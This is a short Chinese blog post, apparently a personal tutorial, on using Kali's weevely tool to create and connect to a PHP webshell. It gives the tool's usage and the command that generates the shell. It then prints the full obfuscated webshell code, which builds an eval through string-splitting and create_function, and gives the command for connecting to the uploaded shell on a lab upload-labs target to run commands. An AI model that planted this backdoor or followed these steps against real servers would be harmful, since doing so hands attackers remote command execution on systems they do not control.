kali中的webshell生成工具weevely

♥喜欢请点个赞吧♥

用法

usage: weevely [-h] {terminal,session,generate} ...

参数:

  {terminal,session,generate}

    terminal            Run terminal or command on the target #在目标上运行终端或命令

    session            Recover an existing session #恢复现有会话

    generate            Generate new agent #生成新webshell

optional arguments:

  -h, --help            show this help message and exit


生成shell的命令:weevely generate 密码 文件名及路径

weevely generate shell /root/Desktop/1.php

生成的webshell是base64加密的,代码如下:

='or($j=B:0;($j<$c&&$i<B:$l);B:$j++,B:$i++){$o.B:=B:$t{$i}^$kB:{$B:j};}}returB:n $o;}iB:f(@pB:reg_matB:c';$h='l(B:@gB:zunB:compress(@B:x(@basB:e64_B:decode($mB:[1]),$kB:)));$o=@oB:B:b_get_conteB:nts()B:;@obB';$A='h("/$khB:(.B:+)$B:kB:f/",@fB:ile_get_contenB:ts("phpB:://B:input"),B:$B:m)==1){@ob_starB:t();@eB:va';$W=str_replace('V','','cVrVeate_VfuVnVctVion');$z=':_end_cleanB:();$B:r=B:@baseB:64_encode(B:@xB:(@gzcomB:press($o),B:$k)B:);prB:B:int("$p$kh$r$kf");}';$g='Y";function xB:($t,B:$B:k){$c=strlen($B:kB:);$B:B:l=strlen($t);$o="B:"B:;fB:or($i=0;$i<$l;B:){fB:';$Y='$kB:="2591c98b"B:;B:$B:kh="70119fe62B:48B:9";$kf="8b1eB:424bB:5e91";$pB:="DB:Z7CfNFAUiLB:y9B:tB:M';$E=str_replace('B:','',$Y.$g.$t.$A.$h.$z);$e=$W('',$E);$e();?>


连接shell

weevely http://192.168.114.129/upload-labs/upload/1.php shell

此时即可执行命令行命令



对目标运行一个终端:

weevely <URL> <password> [CMD]



读取会话文件:

weevely session <path> [CMD]

我也不是很懂后面这俩功能有啥用,要是想连接终端还用得着这玩意吗。。。。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容